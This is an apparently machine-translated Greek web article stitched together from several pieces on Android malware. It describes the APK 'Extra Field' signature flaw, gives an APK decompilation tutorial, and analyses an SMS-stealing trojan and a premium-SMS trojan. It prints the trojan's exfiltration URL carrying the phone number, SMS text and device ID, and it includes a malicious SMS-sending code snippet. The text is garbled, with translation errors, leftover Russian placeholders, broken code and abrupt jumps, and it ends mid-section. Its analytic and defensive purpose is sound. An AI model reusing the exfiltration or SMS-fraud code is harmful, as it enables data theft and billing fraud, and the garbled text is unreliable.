Ανοίγουμε, τροποποιούμε και πακετάρουμε εφαρμογές Android. Ανάλυση κακόβουλου λογισμικού

Αυτο 19.06.2020
Αυτο

Το Extra Field είναι ένα θέμα ευπάθειας στο Google Android που επιτρέπει στους εισβολείς να αλλάξουν τα περιεχόμενα του πακέτου εγκατάστασης οποιασδήποτε εφαρμογής για αυτό το λειτουργικό σύστημα χωρίς να καταστρέψουν την ψηφιακή του υπογραφή. Χρησιμοποιώντας αυτήν την ευπάθεια, τα προγράμματα εγγραφής ιών μπορούν να διανείμουν Trojans εισάγοντας ένα κακόβουλο στοιχείο σε οποιαδήποτε νόμιμη ή αξιόπιστη εφαρμογή.

Το Dr.Web antivirus για Android δεν μπορεί να εξαλείψει αυτήν την ευπάθεια, καθώς εντοπίζεται στο επίπεδο του ίδιου του λειτουργικού συστήματος, αλλά εντοπίζει και αφαιρεί επιτυχώς κακόβουλα προγράμματα που διαδίδονται με τη βοήθειά του ακόμη και όταν προσπαθούν να διεισδύσουν και να εκτελεστούν στην προστατευμένη συσκευή .

Τεχνικές λεπτομέρειες

Οι διανομές εφαρμογών για το λειτουργικό σύστημα Google Android διανέμονται με τη μορφή αρχείων APK, τα οποία είναι ένα αρχείο ZIP που περιέχει όλα τα στοιχεία που είναι απαραίτητα για τη λειτουργία της εφαρμογής. Κατά τη διαδικασία εγκατάστασης του προγράμματος, εξάγονται από το αρχείο και τα αθροίσματα ελέγχου τους ελέγχονται σε ειδική λίστα. Κάθε εφαρμογή έχει τη δική της ψηφιακή υπογραφή.

Εκμετάλλευση μιας ευπάθειας Επιπλέον Πεδίο, οι εισβολείς μπορούν να αλλάξουν τη δομή ενός αρχείου APK: προσθέτοντας στο πεδίο υπηρεσιών του την τιμή ενός από τα αρχικά στοιχεία του προγράμματος (ιδίως του αρχείου classes.dex) χωρίς τα πρώτα τρία byte, τοποθετώντας ταυτόχρονα μια τροποποιημένη έκδοση αυτού του αρχείου στη θέση του, το τελευταίο γίνεται αντιληπτό από το λειτουργικό σύστημα ως νόμιμο και επιτρέπεται για εγκατάσταση. Αν και η πιθανή χρήση αυτής της ευπάθειας περιορίζεται από το μέγεθος του αρχείου dex, το οποίο δεν πρέπει να υπερβαίνει τα 65.533 byte, οι εγκληματίες του κυβερνοχώρου που ενδιαφέρονται για μια επίθεση μπορούν εύκολα να το εκμεταλλευτούν λαμβάνοντας ως βάση ένα αβλαβές πρόγραμμα ή παιχνίδι που έχει ένα στοιχείο το κατάλληλο μέγεθος.

Το αρχείο classes.dex περιέχει τον μεταγλωττισμένο κώδικα εφαρμογής μέσα στο αρχείο APK. Η κεφαλίδα του πακέτου APK περιλαμβάνει κάποιο χώρο που αποθηκεύει το όνομα του αρχείου με την επέκταση .dex, καθώς και ένα πεδίο που ονομάζεται επιπλέον πεδίο που αποθηκεύει τα περιεχόμενα του αρχείου classes.dex και τη λίστα των κλάσεων που χρησιμοποιούνται από την εφαρμογή. Εάν το πεδίο κεφαλίδας συντομευτεί κατά τρία byte, το μήκος του αντίστοιχου πεδίου αλλάζει, γεγονός που επιτρέπει στους εισβολείς να συμπεριλάβουν το πρωτότυπο classes.dex στο επιπλέον πεδίο, καθώς και ένα κακόβουλο αντίγραφο αυτού του αρχείου, μέρος του οποίου θα τοποθετηθεί επίσης στο επιπλέον πεδίο. Ένα τροποποιημένο πεδίο μπορεί να περιέχει κλάσεις που δημιουργούνται από εισβολείς που φέρουν κακόβουλη λειτουργία. Κατά την εγκατάσταση της εφαρμογής, το λειτουργικό σύστημα διαβάζει τα περιεχόμενα αυτού του πεδίου, με αποτέλεσμα να εγκατασταθεί στη συσκευή που δέχεται επίθεση ένα αρχείο classes.dex που τροποποιήθηκε από τους εισβολείς.

Έχετε χάσει τον πηγαίο κώδικα του προγράμματός σας και πρέπει να ανακτήσετε τον κώδικα. Κατεβάσατε ένα πρόγραμμα με ιό και θέλετε να μάθετε τι κάνει.

Τα προγράμματα Android διανέμονται σε αρχεία. Αυτά τα αρχεία έχουν την επέκταση ".apk". Τέτοια αρχεία δεν είναι κρυπτογραφημένα και είναι ουσιαστικά αρχεία zip. Μπορείτε να μετονομάσετε το αρχείο apk σε zip για να το επιβεβαιώσετε.

Πρέπει να ψάξετε βαθύτερα στο αρχείο APK και να λάβετε κάποια δεδομένα. Μπορείτε να εξασκηθείτε σε γάτες. Ας πάρουμε το πρόγραμμα "Hello Kitty" και ας βρούμε το αρχείο apk του στο φάκελο του έργου app\build\outputs\apkκαι μετακινήστε το σε ξεχωριστό φάκελο για πειράματα.

Αφού αποσυσκευάσετε το αρχείο, μπορείτε να δείτε τη δομή της εφαρμογής και να συναντήσετε οικεία αρχεία. Και ακόμη και να εξαγάγετε ορισμένα αρχεία για προβολή. Για παράδειγμα, στον φάκελο res/drawable-hdpi-v4Βρήκα τη φωτογραφία μου pinkhellokitty.png. Φαίνεται ότι αυτό είναι ευτυχία. Αλλά περιμένετε, χαίρεστε. Εάν δεν υπάρχουν προβλήματα με τις εικόνες, τότε η ανάγνωση του αρχείου XML θα είναι δύσκολη. Μπορείτε να δείτε μερικές γραμμές, αλλά συνολικά το κείμενο είναι εντελώς αδιάβαστο. Ας ακολουθήσουμε λοιπόν μια διαφορετική διαδρομή πρώτα.

Εφόσον οι προσαρμοσμένες εφαρμογές Android εκτελούνται σε μηχανή Java, τα αρχεία APK κληρονομούν όλα τα χαρακτηριστικά των αρχείων JAR.

Τα περιεχόμενα του αρχείου συνήθως μοιάζουν κάπως έτσι:

Ο κατάλογος META-INF περιέχει:

CERT.RSA - πιστοποιητικό αίτησης
CERT.SF - αθροίσματα ελέγχου αρχείων πόρων (εικόνες, ήχοι, κ.λπ.)
MANIFEST.MF - πληροφορίες υπηρεσίας που περιγράφουν το ίδιο το αρχείο apk

Ανάλυση κακόβουλου λογισμικού

Για παράδειγμα, ας πάρουμε το πρόγραμμα ύποπτο.apk, το οποίο εντοπίζεται από διάφορα προγράμματα προστασίας από ιούς ως κακόβουλο πρόγραμμα.

Για να κατανοήσετε καλύτερα τι ακριβώς πρέπει να αναζητήσετε, πρέπει να αναλύσετε το αρχείο "AndroidManifest.xml" - δείτε ακριβώς ποια δικαιώματα απαιτούνται από την εφαρμογή που αναλύεται. Αυτό το αρχείο είναι δυαδικό, όχι κανονικό κείμενο xml. Για να το διαβάσετε, πρέπει να χρησιμοποιήσετε το βοηθητικό πρόγραμμα κονσόλας "aapt" από το Android SDK. Βρίσκεται στον κατάλογο "πλατφόρμα-εργαλεία". Εφόσον δεν υπάρχει γραφική διεπαφή, η εντολή πρέπει να εισαχθεί στην κονσόλα. Για παράδειγμα, για Windows:

C:\android-sdk-windows\platform-tools\aapt.exe l -a C:\incoming\suspicious.apk

Φυσικά, πρέπει να αντικαταστήσετε τα δικά σας μονοπάτια. Στο Linux, η εντολή θα είναι η ίδια με εμφανείς διαφορές (δεν θα υπάρχουν γράμματα μονάδας δίσκου και καμία επέκταση "exe" για το βοηθητικό πρόγραμμα). Για μεγαλύτερη ευκολία, η έξοδος μπορεί να ανακατευθυνθεί σε ένα αρχείο:

C:\android-sdk-windows\platform-tools\aapt.exe l -a C:\incoming\suspicious.apk>>C:\incoming\manifest.txt

Στο αρχείο πρέπει να βρείτε την ενότητα "Android manifest" και να αναζητήσετε μια λίστα με δικαιώματα. Στο αρχείο που αναλύθηκε φαίνεται ως εξής:

"android.permission.READ_PHONE_STATE" (Raw: "android.permission.READ_PHONE_STATE") "android.permission.INTERNET" (Raw: "android.permission.INTERNET") "android.permission." (Ακατέργαστο: "android.permission.RECEIVE_SMS")

Από αυτές τις πληροφορίες γίνεται σαφές ότι το πρόγραμμα μπορεί να λάβει την κατάσταση του τηλεφώνου (αυτό περιλαμβάνει, για παράδειγμα, "τηλέφωνο σε λειτουργία κλήσης", "τηλέφωνο σε λειτουργία λήψης δεδομένων"). Αυτή η άδεια απαιτείται επίσης για να αποκτήσετε τον αριθμό τηλεφώνου στον οποίο εκτελείται το πρόγραμμα, να εργαστείτε με το δίκτυο και να παρακολουθήσετε την άφιξη των SMS. Σε αυτές τις πτυχές πρέπει να επικεντρωθούμε σε περαιτέρω ανάλυση.

Για να αποκτήσετε πρόσβαση στον κώδικα, πρέπει να εκτελέσετε δύο βήματα - να μετατρέψετε το αρχείο apk σε ένα αρχείο jar και να απομεταγλωττίσετε το bytecode που προκύπτει σε μια πιο αναγνώσιμη από τον άνθρωπο μορφή.

Ας χρησιμοποιήσουμε τον μετατροπέα "dex2jar":

C:\dex2jar\dex2jar.bat C:\incoming\suspicious.apk

Το αρχείο που έχει μετατραπεί θα βρίσκεται στον ίδιο κατάλογο με το αρχικό αρχείο. Θα έχει το ".dex2jar.jar" προσαρτημένο στο όνομά του, επομένως σε αυτό το παράδειγμα θα είναι "suspicious.apk.dex2jar.jar".

Αυτό το αρχείο μπορεί να ανοίξει με έναν απομεταγλωττιστή. Η ιεραρχία του πακέτου στο παράθυρο του decompiler μοιάζει με αυτό:


Εδώ τελειώνουν τα προπαρασκευαστικά βήματα - η περαιτέρω επιτυχία εξαρτάται μόνο από τις γνώσεις σας στη Java και την ικανότητά σας να χρησιμοποιείτε μια μηχανή αναζήτησης.

Ευτυχώς, το δείγμα που επιλέχθηκε για το παράδειγμα είναι αρκετά μέτριο σε μέγεθος - το τελικό βάζο είναι μόνο 7,01 KB.

Υπάρχουν μόνο έξι τάξεις στο πρόγραμμα. Ας εξαιρέσουμε εκείνα που δεν ενδιαφέρουν. Αυτή είναι μια κλάση R που παραθέτει μόνο τα αναγνωριστικά όλων των πόρων. Μπορείτε επίσης να εξαιρέσετε την τάξη από την εξέταση Διαμόρφωση, το οποίο περιέχει τη διαμόρφωση κατασκευής.

Ας ρίξουμε μια πιο προσεκτική ματιά στις υπόλοιπες τρεις κατηγορίες.

Δραστηριοποίηση

Αυτή η τάξη ενεργοποιείται από ένα συμβάν onCreate(), δηλαδή αμέσως μετά την έναρξη της εφαρμογής.

TelephonyManager localTelephonyManager = (TelephonyManager)getSystemService("τηλέφωνο");- δημιουργεί localTelephonyManager, το οποίο αποθηκεύει δεδομένα συσκευής.

str1 = localTelephonyManager.getDeviceId();- επιλέγει τον αριθμό αναγνώρισης της συσκευής από τα δεδομένα που λαμβάνονται και τον τοποθετεί στη γραμμή str1

Ακολουθεί ένας κύκλος που χωρίζει Αναγνωριστικό συσκευήςσε κομμάτια τεσσάρων αριθμών, εισάγοντας μια παύλα "-" μεταξύ τους, δηλαδή, από το XXXXXXXXXXXXXXXX παίρνουμε XXXX-XXXX-XXXX-XXXX. Η προκύπτουσα συμβολοσειρά αριθμών και παύλων μεταβιβάζεται στο TextViewμε ΑΜ 2131034112.

Δέκτης SMS

Αυτή η κλάση ενεργοποιείται όταν φθάνει ένα μήνυμα SMS, συμβάν onReceive().

Η αποστολή αυτής της κλάσης είναι να παρακολουθεί τα εισερχόμενα SMS και, εάν εντοπιστεί, να εκτελεί την τάξη MainService, περνώντας το ως δείκτη σε ένα νέο εισερχόμενο μήνυμα.

MainService

Αυτή η τάξη είναι αρκετά μεγάλη, επομένως δεν θα την απαριθμήσω στο σύνολό της. Αμέσως μετά την κλήση, εκκινεί την υποκατηγορία «SmsBlockerThread», η οποία αποκλείει την ειδοποίηση εισερχόμενου SMS, ώστε ο χρήστης να μην ειδοποιείται για νέο εισερχόμενο SMS.

Στη συνέχεια, η επεξεργασία των εισερχόμενων SMS γίνεται ως εξής:

String str1 = localSmsMessage.getOriginatingAddress();- ο αριθμός τηλεφώνου του παραλήπτη (δηλαδή ο αριθμός τηλεφώνου στον οποίο είναι εγκατεστημένο το Trojan) τοποθετείται σε μια μεταβλητή str1.

String str2 = localSmsMessage.getMessageBody();- το σώμα του μηνύματος τοποθετείται στη μεταβλητή str2

Στη συνέχεια δημιουργούνται σχετικά ζεύγη localBasicNameValuePair1Και localBasicNameValuePair2στο οποίο τοποθετούνται οι τιμές

F0=<номер телефона>b0=<текст сообщения>

Αυτά τα ζεύγη αποθηκεύονται στον πίνακα localArrayList, στον οποίο προστίθεται αργότερα το ζεύγος localBasicNameValuePair3, που αντιπροσωπεύει το id=

Ταυτόχρονα, όπως μπορείτε να δείτε, Αναγνωριστικό συσκευήςλαμβάνεται εκ νέου, αντί να χρησιμοποιείται αυτό που ελήφθη στην τάξη Δραστηριοποίηση. Καταλήγει να καλεί τη μέθοδο postRequest()από την τελευταία τάξη ServerSession:

Δοκιμάστε ( JSONObject localJSONObject = ServerSession.postRequest(new UrlEncodeFormEntity(localArrayList)); επιστροφή; )

Η ίδια σειρά ζευγών μεταβιβάζεται ως παράμετρος, στην οποία ο αριθμός τηλεφώνου, τα περιεχόμενα του SMS και το αναγνωριστικό συσκευής.

ServerSession

Αυτή η κλάση έχει δύο μεθόδους: initUrl()που επιστρέφει το τμήμα συνδέσμου "(http://softthrifty.com/security.jsp)":

Δημόσια στατική συμβολοσειρά initUrl() (επιστρέφει "http://softthrifty.com/security.jsp"; )

και εξαιρετική μέθοδος postRequest(), που κλήθηκε από την τάξη MainService. Παρά το μέγεθος, το έργο postRequest()απλή - αποστολή στον διακομιστή χρησιμοποιώντας τον σύνδεσμο που επιστρέφεται από τη μέθοδο initUrl(), δεδομένα προσθέτοντας ζεύγη από τον πίνακα που συλλέγεται σε MainService. Δηλαδή, απλώς ακολουθήστε τον σύνδεσμο:

(http://softthrifty.com/security.jsp?f0=<номер телефона>&b0=<текст сообщения>&id= )

Συμπέρασμα

Έτσι, αυτός ο Trojan παρακολουθεί SMS και στέλνει ένα αίτημα στον διακομιστή, στον οποίο μεταδίδει τον αριθμό του μολυσμένου τηλεφώνου, τα περιεχόμενα του SMS και το αναγνωριστικό του μολυσμένου τηλεφώνου. Αυτή η συμπεριφορά μπορεί να είναι σημάδι τραπεζικού Trojan που επιτίθεται στον έλεγχο ταυτότητας δύο παραγόντων. Για μια επιτυχημένη επίθεση, πρέπει να πληρούνται οι ακόλουθες προϋποθέσεις:

1) ο εισβολέας πρέπει να μολύνει τον υπολογιστή του θύματος για να υποκλέψει τραπεζικά δεδομένα στο διαδίκτυο.
2) ο εισβολέας πρέπει να μολύνει το τηλέφωνο του θύματος για να υποκλέψει ένα SMS με κωδικό επιβεβαίωσης από την τράπεζα.
3) ο εισβολέας πρέπει να συνδέσει με κάποιο τρόπο τον χρήστη του μολυσμένου υπολογιστή και του μολυσμένου τηλεφώνου για να γνωρίζει από ποια διαπιστευτήρια ηλεκτρονικής τραπεζικής είναι αυτός ο κωδικός επιβεβαίωσης.

Λόγω του μεγέθους του και της προφανείας της δραστηριότητας που εκτελείται, ένα τέτοιο δείγμα είναι κατάλληλο για την επίδειξη βασικών τεχνικών για την ανάλυση κακόβουλου λογισμικού για Android.

Περιγραφή κακόβουλου λογισμικού για Android

Αλεξάντερ Αντίποφ

Η έκθεση της McAfee σχετικά με την κατάσταση των πιθανών απειλών το πρώτο τρίμηνο του τρέχοντος έτους έδειξε ότι εντοπίστηκαν 6 εκατομμύρια μοναδικά δείγματα κακόβουλου λογισμικού.


Η έκθεση της McAfee σχετικά με την κατάσταση των πιθανών απειλών το πρώτο τρίμηνο του τρέχοντος έτους έδειξε ότι εντοπίστηκαν 6 εκατομμύρια μοναδικά δείγματα κακόβουλου λογισμικού. Υπό αυτή την έννοια, το 1ο τρίμηνο του 2011 αποδείχθηκε το πιο παραγωγικό ως προς τον αριθμό των εντοπισμένων κακόβουλων προγραμμάτων σε σύγκριση με τις ίδιες περιόδους όλων των προηγούμενων ετών. Η έκθεση McAfee σημείωσε ότι οι συσκευές Android γίνονται ολοένα και περισσότερο φορείς κακόβουλου λογισμικού. Σύμφωνα με τους ειδικούς, το Android έγινε ο δεύτερος πιο δημοφιλής στόχος για κινητά για εισβολή μεταξύ των εγκληματιών του κυβερνοχώρου το πρώτο τρίμηνο του τρέχοντος έτους, μετά το Symbian.

Σε αυτό το άρθρο, θα σας καθοδηγήσουμε στα διάφορα στάδια της ανάλυσης λογισμικού, επιτρέποντάς σας έτσι να κατανοήσετε ποια ακριβώς είναι τα τρωτά σημεία της πλατφόρμας Android και πώς τα εκμεταλλεύονται οι εισβολείς. Αρχικά, θα ξεκινήσουμε συζητώντας την ιστορία της ανάπτυξης Android και, στη συνέχεια, θα προχωρήσουμε στα βασικά για τον τρόπο λειτουργίας των πακέτων διαμόρφωσης πλατφόρμας. Παράλληλα, θα αναλύσουμε αναλυτικά όλο το κακόβουλο λογισμικό που συναντάμε και στοχεύει συγκεκριμένα το Android.

Εισαγωγή στην πλατφόρμα Android

Το Android είναι ένα λειτουργικό σύστημα για κινητά τηλέφωνα, συσκευές επικοινωνίας, υπολογιστές tablet και άλλες συσκευές που βασίζεται στον πυρήνα του Linux. Οι προγραμματιστές γράφουν εφαρμογές για Android κυρίως στη γλώσσα Java, παρέχοντας έλεγχο συσκευής χρησιμοποιώντας τη βιβλιοθήκη Java που αναπτύχθηκε από την Google. Ο μεταγλωττιστής Java Android μεταγλωττίζει ένα σύνολο αρχείων προγραμματιστή σε αρχεία κλάσης και, στη συνέχεια, τα αρχεία κλάσης μετατρέπονται σε αρχεία dex. Αυτά τα αρχεία έχουν bytecode που χρησιμοποιείται ειδικά για την αναγνώριση της εικονικής μηχανής Dalvik - η οποία είναι ένα περιβάλλον εκτέλεσης bytecode Java (JVM) που εκτελείται σε μια ειδική εφαρμογή Android. Τα αρχεία XML μετατρέπονται σε δυαδική μορφή που είναι βελτιστοποιημένη για τη δημιουργία μικρών αρχείων. Τα αρχεία .dex, τα δυαδικά αρχεία XML και άλλοι πόροι που απαιτούνται για την εκτέλεση εφαρμογών συσκευάζονται σε ένα αρχείο πακέτου Android. Αυτά τα αρχεία έχουν την επέκταση .apk, αλλά είναι τυπικά αρχεία ZIP. Μόλις δημιουργηθεί το πακέτο apk, υπογράφεται ψηφιακά από τον προγραμματιστή και μεταφορτώνεται στο Android Market μέσω του ιστότοπου της Google από όπου ο χρήστης μπορεί να κατεβάσει αυτά τα αρχεία apk και να τα εγκαταστήσει στη συσκευή του Android. Αυτήν τη στιγμή υπάρχουν πάνω από 2 εκατομμύρια εφαρμογές διαθέσιμες για λήψη στο κεντρικό Android App Store και ας μην ξεχνάμε ότι οι εφαρμογές Google Android μπορούν να ληφθούν και από άλλους ιστότοπους τρίτων.

Απαιτήσεις

  • Εργαλείο για την εξαγωγή αρχείων apk - Winzip
  • Εργαλείο μετατροπής αρχείων .dex σε αρχεία .jar:.. Dex2jar
  • Βοηθητικό πρόγραμμα αποσυμπίλησης γραφικών Java: JD-GUI
  • Δείγματα κακόβουλου λογισμικού Android για ανάλυση

Αναλυτικά βήματα

Βήμα Ι:
Για να ξεκινήσετε τη διαδικασία ανάλυσης κακόβουλου λογισμικού, πρέπει πρώτα να κάνετε λήψη ενός κακόβουλου δείγματος που στοχεύει την πλατφόρμα Android. Σε αυτήν την περίπτωση, θα κατεβάσουμε το iCalendar.apk, το οποίο ήταν μία από τις 11 ύποπτες εφαρμογές που καταργήθηκαν από το Android Market επειδή διαπιστώθηκε ότι περιείχε κακόβουλο λογισμικό στο Gadget Media. Η δοκιμή του αιτήματος στο VirusTotal έδειξε ποσοστό ανίχνευσης 46,5%, όπως φαίνεται στο παρακάτω σχήμα.


Ρύζι. 1

Βήμα II:

Εξαγάγετε το αρχείο iCalendar.apk χρησιμοποιώντας το Winzip, μετά το οποίο μπορείτε να δείτε τα περιεχόμενα του αρχείου .apk

Ρύζι. 2. .dex και. Τα αρχεία XML που συζητήθηκαν νωρίτερα σε αυτό το άρθρο φαίνονται στην Εικ. 2.

Βήμα III:

Το επόμενο βήμα είναι να εκτελέσετε τον κώδικα χρησιμοποιώντας το εργαλείο "dex2jar". Η εργαλειοθήκη dex2jar μετατρέπει τα εκτελέσιμα αρχεία .dex Dalvik σε αρχεία Java .class. "Classes.dex" - το αρχείο από την εφαρμογή μας πηγαίνει στον κατάλογο "dex2jar" και μετατρέπεται χρησιμοποιώντας την ακόλουθη εντολή: dex2jar.bat classes.dex.

Ρύζι. 3 Δημιουργήστε αρχεία "classes.dex.dex2jar.jar" σε έναν κατάλογο.

Ρύζι. 4

Βήμα IV:

Χρησιμοποιήσαμε JD-GUI για την προβολή αρχείων .class. Ανοίξτε το αρχείο "Classes.dex.dex2jar.jar" χρησιμοποιώντας το JD-GUI.

Ρύζι. 5: Εμφανίζει τον πλήρη πηγαίο κώδικα των εφαρμογών Android.

Βήμα V:
Μόλις λάβετε τον πηγαίο κώδικα της εφαρμογής, μπορείτε να αναλύσετε την πραγματική πηγή και να ελέγξετε για προβλήματα. Σημειώθηκε ότι το αρχείο με το όνομα κλάσης "SmsReceiver.class" φαίνεται λίγο περίεργο, επειδή πρόκειται για ένα ημερολόγιο εφαρμογής και το SmsReceiver δεν απαιτείται σε αυτήν την περίπτωση. Μετά από περαιτέρω έλεγχο του πηγαίου κώδικα "SmsReceiver.class", διαπιστώθηκε ότι περιείχε τρεις αριθμούς 1066185829, 1066133 και 106601412004, οι οποίοι έμοιαζαν αρκετά ύποπτοι. Συγκεκριμένα, η κατάσταση είναι παρόμοια με μια προσπάθεια αποκλεισμού μηνυμάτων που αποστέλλονται από συγκεκριμένους αριθμούς σε μια συσκευή Android όταν αυτή η εφαρμογή είναι εγκατεστημένη και εκτελείται.

Ρύζι. 6

Μετά από αναζήτηση αυτών των αριθμών μέσω της Google, διαπιστώθηκε ότι πρόκειται για αριθμούς υπηρεσίας SMS που ανήκει στην China Mobile (Εικ. 7).

Ρύζι. 7

Προσπαθήσαμε να αναλύσουμε γιατί η εφαρμογή προσπαθεί να αποκλείσει αναφορές παράδοσης από τους παραπάνω αριθμούς σε επόμενες ενέργειες.

Βήμα VI:
Αφού ολοκληρώσουμε την ανάλυση του αρχείου «SmsReceiver.class», προχωράμε στην ανάλυση του κώδικα του επόμενου αρχείου .class, δηλ. "iCalendar.class". Το πρώτο φαίνεται το πιο ύποπτο. Συγκεκριμένα, παρατηρήσαμε ότι η συνάρτηση showImg() περιείχε μια συγκεκριμένη συνάρτηση sendSms().

Ρύζι. 8

Έτσι, ξεκινήσαμε έναν έλεγχο του αρχείου "sendSms()" για να δούμε τις ιδιαιτερότητες στην εκτέλεση των εντολών. Όπως φαίνεται στην παρακάτω εικόνα, μπορούμε να δούμε ότι όταν η λειτουργία sendSms() είναι ενεργοποιημένη, ένα SMS με το κείμενο 921X1 αποστέλλεται αυτόματα στο 1066185829.

Ρύζι. 9

Βήμα VII:
Στο τέλος της συνάρτησης sendSms(), παρατηρήσαμε την παρουσία μιας εντολής αποθήκευσης συνάρτησης. Αναζητήσαμε λοιπόν τη συνάρτηση save() μέσα στον κώδικα και βρήκαμε την άμεση σχέση της με τη συνάρτηση sendSms().

Ρύζι. 10

Αφού έγινε η σωστή ανάλυση και ανακαλύψαμε διάφορες πτυχές της συνάρτησης save(), διαπιστώθηκε ότι η συμβολοσειρά "Y" μεταβιβάζεται κάθε φορά που εκτελείται η συνάρτηση save(). Επιπλέον, συνήχθη το συμπέρασμα ότι η συνάρτηση sendSms() μπορεί να κληθεί μόνο μία φορά, αλλά όχι περισσότερες, καθώς υπάρχει ένας βρόχος «if» που έχει ρυθμιστεί για τη συνάρτηση sendSms().

Βήμα VIII:
Συνδυάζοντας τα αποτελέσματα όλων των αναλύσεων που πραγματοποιήθηκαν, μπορείτε να αποκτήσετε μια σαφή εικόνα της πλήρους λειτουργίας διαφόρων τύπων κακόβουλου λογισμικού.

Η εφαρμογή στέλνει ένα SMS στον αριθμό premium 1066185829 με το κείμενο 921X1. Ταυτόχρονα, τυχόν αναφορές παράδοσης εισερχόμενων μηνυμάτων σε αυτόν τον αριθμό αποκλείονται και ως εκ τούτου, το θύμα δεν θα λάβει κανένα σήμα σχετικά με την ύπαρξη τέτοιου SMS που αποστέλλεται από την εφαρμογή στο παρασκήνιο. Επιπλέον, το SMS αποστέλλεται μόνο μία φορά και το θύμα στην πραγματικότητα δεν έχει κανέναν τρόπο να υποψιαστεί τι πραγματικά προκάλεσε τη χρέωση των χρημάτων από τον λογαριασμό.

Ρύζι. 11: Πλήρη συμπεράσματα σχετικά με το κακόβουλο λογισμικό του κύκλου iCalendar.apk

Συμπέρασμα:

Ένα κακόβουλο πρόγραμμα με πρόσβαση root σε ένα τηλέφωνο όχι μόνο έχει τη δυνατότητα να διαβάζει τυχόν δεδομένα που είναι αποθηκευμένα σε αυτό, αλλά είναι επίσης ικανό να τα μεταφέρει σε απολύτως οποιαδήποτε τοποθεσία. Αυτές οι πληροφορίες μπορεί να περιλαμβάνουν στοιχεία επικοινωνίας, έγγραφα, ακόμη και κωδικούς πρόσβασης λογαριασμού. Εάν έχετε πρόσβαση root, είναι δυνατό να εγκαταστήσετε άλλα στοιχεία που δεν είναι ορατά στη διεπαφή χρήστη του τηλεφώνου και ως εκ τούτου δεν μπορούν να αφαιρεθούν εύκολα. Οι κύριοι τρόποι προστασίας των εφαρμογών από κακόβουλο λογισμικό για την πλατφόρμα Android δίνονται παρακάτω:
  • Λήψη της εφαρμογής μόνο από αξιόπιστες πηγές.
  • Έλεγχος σχετικών αξιολογήσεων και κριτικών πριν από τη λήψη της εφαρμογής.
  • Προσεκτική αξιολόγηση των αδειών συγκεκριμένων εφαρμογών.
  • Εγκατάσταση ενημερώσεων λειτουργικού συστήματος Android καθώς είναι έτοιμες.
  • Εγκατάσταση προγραμμάτων για την προστασία εφαρμογών για φορητές συσκευές.

Το έγγραφο παρέχει ένα παράδειγμα της ζημίας που προκαλεί το κακόβουλο λογισμικό σε ανυποψίαστους χρήστες. Εάν ένα άτομο δεν γνωρίζει την ύπαρξή του, τότε τέτοια προγράμματα μπορούν να εκτελούν σχεδόν οποιεσδήποτε μη εξουσιοδοτημένες ενέργειες στο παρασκήνιο. Η λειτουργία κακόβουλων προγραμμάτων μπορεί να οδηγήσει σε οικονομικές απώλειες για τον χρήστη με χρέωση κεφαλαίων από τα υπόλοιπά του, καθώς και κλοπή κωδικών πρόσβασης. Επιπλέον, μπορούν να προκαλέσουν ζημιά στο ίδιο το τηλέφωνο. Όπως μπορείτε να δείτε, είναι πολύ σημαντικό να λαμβάνετε τις κατάλληλες προφυλάξεις εγκαίρως για να αποτρέψετε την είσοδο αυτού του τύπου εφαρμογών στο τηλέφωνό σας. Είναι καλύτερα να είσαι ασφαλής μία φορά παρά να το μετανιώσεις δέκα φορές αργότερα.

Η συλλογή κακόβουλων εφαρμογών Android ορισμένων εργαστηρίων προστασίας από ιούς περιέχει ήδη περισσότερα από 10 εκατομμύρια δείγματα. Αυτός ο αριθμός διεγείρει τη φαντασία, αλλά περίπου 9 εκατομμύρια 995 χιλιάδες από αυτά μετονομάζονται σε αντίγραφα των αρχικών ιών. Αλλά αν αναλύσετε τον πηγαίο κώδικα των υπόλοιπων πολλών χιλιάδων δειγμάτων κακόβουλου λογισμικού, θα παρατηρήσετε ότι όλα συνδυάζονται από έναν μικρό αριθμό μοναδικών λειτουργικών μπλοκ (αρκετά τροποποιημένα και συνδυασμένα με διαφορετικούς τρόπους).

Το θέμα είναι ότι οι ιοί συνήθως επιδιώκουν πολύ ασήμαντα καθήκοντα:

  • στείλτε ένα SMS σε έναν επί πληρωμή αριθμό.
  • ανάληψη εμπιστευτικών πληροφοριών χρήστη (αριθμούς τηλεφώνου, μηνύματα κειμένου, δεδομένα από κάρτα SD κ.λπ.)
  • συλλογή δεδομένων σχετικά με τη μολυσμένη συσκευή·
  • ανάληψη δικαιωμάτων διαχείρισης της συσκευής (για εγκατάσταση εφαρμογών χωρίς την άδεια του κατόχου ή για κακόβουλη απενεργοποίηση της συσκευής).
  • παρακολουθείτε στοιχεία σύνδεσης, κωδικούς πρόσβασης και καρτών πληρωμής που εισάγει ο χρήστης στις ιστοσελίδες των συστημάτων διαδικτυακής τραπεζικής. 
 Πώς το κάνουν; Ας προσπαθήσουμε να διεισδύσουμε στον σκοτεινό κόσμο της εικονικοποίησης για κινητά και να δούμε τι συμβαίνει εκεί.

Αποστολή SMS

Ποιος χρησιμοποιεί:

  • AdSms;
  • FakePlayer;
  • HippoSms.

Ο πιο συνηθισμένος τύπος ιών είναι τα SMS Trojans. Αυτοί οι ιοί απλώς στέλνουν μηνύματα σε αριθμούς premium χωρίς τη συγκατάθεση του χρήστη. Είναι πολύ εύκολο να δημιουργήσετε ένα τέτοιο πρόγραμμα ή να ξαναγράψετε ένα έτοιμο για τον επιθυμητό αριθμό. Και η διαδικασία απόκτησης οφελών είναι εξαιρετικά απλοποιημένη - σε αντίθεση, για παράδειγμα, με την παρακολούθηση τραπεζικών δεδομένων.

Το παρακάτω είναι ένα απλό παράδειγμα κώδικα. Αυτή είναι μια βασική λειτουργία αποστολής SMS. Μπορεί να είναι πολύπλοκο ελέγχοντας την κατάσταση αποστολής, επιλέγοντας αριθμούς ανάλογα με την τοποθεσία του συνδρομητή και στη συνέχεια διαγράφοντας το SMS.

Ιδιωτικό στατικό SendSms (String DestNumber, String SmsText) ( // Προσπάθεια εκτέλεσης της μεθόδου sendTextMessage του αντικειμένου SmsManager (ένα τυπικό πρόγραμμα για την αποστολή SMS στην τρέχουσα συσκευή) με έναν ελάχιστο αριθμό παραμέτρων: αριθμός παραλήπτη και κείμενο μηνύματος try( SmsManager .getDefault().sendTextMessage(DestNumber,null,SmsText,null,null);

Πού να αναζητήσετε τον κωδικό ιού

